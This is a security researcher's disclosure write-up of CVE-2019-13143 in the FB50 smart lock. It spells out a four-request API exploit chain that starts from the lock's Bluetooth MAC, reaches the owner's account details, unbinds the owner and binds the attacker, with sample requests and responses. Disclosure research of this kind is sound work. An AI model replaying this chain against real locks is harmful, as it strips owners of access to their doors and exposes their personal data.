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    Picking the FB50 smart lock (CVE-2019-13143)
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      <code>2019-08-05</code>
      <h1>Picking the FB50 smart lock (CVE-2019-13143)</h1>
      <h2>… and lessons learnt in IoT security</h2>
      <p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>

<h3 id="the-lock">The lock</h3>

<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
across many ecommerce sites, and has over, an estimated, 15k+ users.</p>

<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
the Play/App Store to function. The app requires the user to create an
account before further functionality is available. 
It also facilitates configuring the fingerprint,
and unlocking from a range via Bluetooth.</p>

<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
and the Android app.</p>

<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>

<p>Android phones have the ability to capture Bluetooth (HCI) traffic
which can be enabled under Developer Options under Settings. We made 
around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>

<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>

<p>This is the value sent in the <code>Write</code> request:</p>

<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>

<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<h3 id="via-the-android-app">Via the Android app</h3>

<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
far since most of it was obfuscated. Why bother when there exists an 
easier approach &#8211; BurpSuite.</p>

<p>We captured and played around with a bunch of requests and responses,
and finally arrived at a working exploit chain.</p>

<h3 id="the-exploit">The exploit</h3>

<p>The entire exploit is a 4 step process consisting of authenticated 
HTTP requests:</p>

<ol>
<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
vicinity), get the barcode and lock ID</li>
<li>Using the barcode, fetch the user ID</li>
<li>Using the lock ID and user ID, unbind the user from the lock</li>
<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
to the lock</li>
</ol>

<p>This is what it looks like, in essence (personal info redacted).</p>

<h4 id="request-1">Request 1</h4>

<pre><code>POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<p>Response:</p>

<pre><code>{
   "result":{
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}
</code></pre>

<h4 id="request-2">Request 2</h4>

<pre><code>POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
</code></pre>

<p>Response:</p>

<pre><code>   "result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":&lt;USER ID&gt;
   }
</code></pre>

<h4 id="request-3">Request 3</h4>

<pre><code>POST /oklock/lock/unbind

{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
</code></pre>

<h4 id="request-4">Request 4</h4>

<pre><code>POST /oklock/lock/bind

{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>

<p>You should have the lock transferred to your account. The severity of this
issue lies in the fact that the original owner completely loses access to
their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
(the attacker) needs to authorize that. </p>

<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>

<p><em>shudders</em></p>

<h3 id="proof-of-concept">Proof of Concept</h3>

<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>

<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>

<h3 id="disclosure-timeline">Disclosure timeline</h3>

<ul>
<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
<li>No response from vendor</li>
<li><strong>2nd August 2019</strong>: Public disclosure</li>
</ul>

<h3 id="lessons-learnt">Lessons learnt</h3>

<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
with keys. With the IoT plague spreading, it brings in a large attack surface
to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>

<p>The IoT security scene is rife with bugs from over 10 years ago, like
executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
practices in general.</p>

<p>Our existing threat models and scenarios have to be updated to factor 
in these new exploitation possibilities. This also broadens the playing 
field for cyber warfare and mass surveillance campaigns. </p>

<h3 id="researcher-info">Researcher info</h3>

<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>

<ul>
<li>Anirudh Oppiliappan (me)</li>
<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
</ul>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>
</ol>
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